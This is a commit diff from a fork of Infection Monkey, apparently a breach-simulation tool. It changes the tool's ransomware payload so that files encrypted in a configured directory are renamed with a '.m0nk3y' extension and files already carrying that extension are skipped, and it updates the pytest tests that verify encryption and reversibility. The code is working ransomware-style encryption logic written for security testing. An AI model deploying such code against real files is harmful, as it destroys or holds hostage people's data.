forked from p15670423/monkey
agent: Rename files encrypted by ransomware with .m0nk3y extension
This commit is contained in:
parent
1ff348d2fc
commit
2dd75d7d0c
|
@ -15,6 +15,7 @@ from infection_monkey.utils.environment import is_windows_os
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
CHUNK_SIZE = 64
|
CHUNK_SIZE = 64
|
||||||
|
EXTENSION = ".m0nk3y"
|
||||||
|
|
||||||
|
|
||||||
class RansomewarePayload:
|
class RansomewarePayload:
|
||||||
|
@ -23,6 +24,8 @@ class RansomewarePayload:
|
||||||
LOG.info(f"Linux dir configured for encryption is {config['linux_dir']}")
|
LOG.info(f"Linux dir configured for encryption is {config['linux_dir']}")
|
||||||
|
|
||||||
self.target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"])
|
self.target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"])
|
||||||
|
self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy()
|
||||||
|
self._valid_file_extensions_for_encryption.discard(EXTENSION)
|
||||||
|
|
||||||
def run_payload(self):
|
def run_payload(self):
|
||||||
file_list = self._find_files()
|
file_list = self._find_files()
|
||||||
|
@ -30,7 +33,7 @@ class RansomewarePayload:
|
||||||
|
|
||||||
def _find_files(self):
|
def _find_files(self):
|
||||||
file_filters = [
|
file_filters = [
|
||||||
file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION),
|
file_extension_filter(self._valid_file_extensions_for_encryption),
|
||||||
is_not_shortcut_filter,
|
is_not_shortcut_filter,
|
||||||
is_not_symlink_filter,
|
is_not_symlink_filter,
|
||||||
]
|
]
|
||||||
|
@ -41,6 +44,7 @@ class RansomewarePayload:
|
||||||
def _encrypt_files(self, file_list):
|
def _encrypt_files(self, file_list):
|
||||||
for filepath in file_list:
|
for filepath in file_list:
|
||||||
self._encrypt_file(filepath)
|
self._encrypt_file(filepath)
|
||||||
|
self._add_extension(filepath)
|
||||||
|
|
||||||
def _encrypt_file(self, filepath):
|
def _encrypt_file(self, filepath):
|
||||||
with open(filepath, "rb+") as f:
|
with open(filepath, "rb+") as f:
|
||||||
|
@ -54,3 +58,7 @@ class RansomewarePayload:
|
||||||
f.write(encrypted_data)
|
f.write(encrypted_data)
|
||||||
|
|
||||||
data = f.read(CHUNK_SIZE)
|
data = f.read(CHUNK_SIZE)
|
||||||
|
|
||||||
|
def _add_extension(self, filepath: Path):
|
||||||
|
new_filepath = filepath.with_suffix(f"{filepath.suffix}{EXTENSION}")
|
||||||
|
filepath.rename(new_filepath)
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
Monkey see, Monkey do.
|
|
@ -8,14 +8,20 @@ from tests.utils import is_user_admin
|
||||||
|
|
||||||
from infection_monkey.ransomware.ransomware_payload import RansomewarePayload
|
from infection_monkey.ransomware.ransomware_payload import RansomewarePayload
|
||||||
|
|
||||||
|
EXTENSION = ".m0nk3y"
|
||||||
|
|
||||||
SUBDIR = "subdir"
|
SUBDIR = "subdir"
|
||||||
ALL_ZEROS_PDF = "all_zeros.pdf"
|
ALL_ZEROS_PDF = "all_zeros.pdf"
|
||||||
|
ALREADY_ENCRYPTED_TXT_M0NK3Y = "already_encrypted.txt.m0nk3y"
|
||||||
HELLO_TXT = "hello.txt"
|
HELLO_TXT = "hello.txt"
|
||||||
SHORTCUT_LNK = "shortcut.lnk"
|
SHORTCUT_LNK = "shortcut.lnk"
|
||||||
TEST_KEYBOARD_TXT = "test_keyboard.txt"
|
TEST_KEYBOARD_TXT = "test_keyboard.txt"
|
||||||
TEST_LIB_DLL = "test_lib.dll"
|
TEST_LIB_DLL = "test_lib.dll"
|
||||||
|
|
||||||
ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9"
|
ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9"
|
||||||
|
ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 = (
|
||||||
|
"ff5e58498962ab8bd619d3a9cd24b9298e7efc25b4967b1ce3f03b0e6de2aa7a"
|
||||||
|
)
|
||||||
HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8"
|
HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8"
|
||||||
SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9"
|
SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9"
|
||||||
TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = (
|
TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = (
|
||||||
|
@ -38,6 +44,10 @@ def hash_file(filepath: Path):
|
||||||
return sha256.hexdigest()
|
return sha256.hexdigest()
|
||||||
|
|
||||||
|
|
||||||
|
def with_extension(filename):
|
||||||
|
return f"{filename}{EXTENSION}"
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def ransomware_target(tmp_path, data_for_tests_dir):
|
def ransomware_target(tmp_path, data_for_tests_dir):
|
||||||
ransomware_target_data = Path(data_for_tests_dir) / "ransomware_targets"
|
ransomware_target_data = Path(data_for_tests_dir) / "ransomware_targets"
|
||||||
|
@ -87,8 +97,11 @@ def test_file_with_included_extension_encrypted(tmp_path, ransomware_payload):
|
||||||
|
|
||||||
ransomware_payload.run_payload()
|
ransomware_payload.run_payload()
|
||||||
|
|
||||||
assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_ENCRYPTED_SHA256
|
assert hash_file(tmp_path / with_extension(ALL_ZEROS_PDF)) == ALL_ZEROS_PDF_ENCRYPTED_SHA256
|
||||||
assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
|
assert (
|
||||||
|
hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT))
|
||||||
|
== TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_file_encrypted_in_place(tmp_path, ransomware_payload):
|
def test_file_encrypted_in_place(tmp_path, ransomware_payload):
|
||||||
|
@ -97,18 +110,34 @@ def test_file_encrypted_in_place(tmp_path, ransomware_payload):
|
||||||
|
|
||||||
ransomware_payload.run_payload()
|
ransomware_payload.run_payload()
|
||||||
|
|
||||||
actual_all_zeros_inode = os.stat(tmp_path / ALL_ZEROS_PDF).st_ino
|
actual_all_zeros_inode = os.stat(tmp_path / with_extension(ALL_ZEROS_PDF)).st_ino
|
||||||
actual_test_keyboard_inode = os.stat(tmp_path / TEST_KEYBOARD_TXT).st_ino
|
actual_test_keyboard_inode = os.stat(tmp_path / with_extension(TEST_KEYBOARD_TXT)).st_ino
|
||||||
|
|
||||||
assert expected_all_zeros_inode == actual_all_zeros_inode
|
assert expected_all_zeros_inode == actual_all_zeros_inode
|
||||||
assert expected_test_keyboard_inode == actual_test_keyboard_inode
|
assert expected_test_keyboard_inode == actual_test_keyboard_inode
|
||||||
|
|
||||||
|
|
||||||
def test_encryption_reversible(tmp_path, ransomware_payload):
|
def test_encryption_reversible(tmp_path, ransomware_payload):
|
||||||
assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
|
orig_path = tmp_path / TEST_KEYBOARD_TXT
|
||||||
|
new_path = tmp_path / with_extension(TEST_KEYBOARD_TXT)
|
||||||
|
assert hash_file(orig_path) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
|
||||||
|
|
||||||
ransomware_payload.run_payload()
|
ransomware_payload.run_payload()
|
||||||
assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
|
assert hash_file(new_path) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
|
||||||
|
|
||||||
|
new_path.rename(orig_path)
|
||||||
ransomware_payload.run_payload()
|
ransomware_payload.run_payload()
|
||||||
assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
|
assert (
|
||||||
|
hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT))
|
||||||
|
== TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def test_skip_already_encrypted_file(tmp_path, ransomware_payload):
|
||||||
|
ransomware_payload.run_payload()
|
||||||
|
|
||||||
|
assert not (tmp_path / with_extension(ALREADY_ENCRYPTED_TXT_M0NK3Y)).exists()
|
||||||
|
assert (
|
||||||
|
hash_file(tmp_path / ALREADY_ENCRYPTED_TXT_M0NK3Y)
|
||||||
|
== ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256
|
||||||
|
)
|
||||||
|
|
Loading…
Reference in New Issue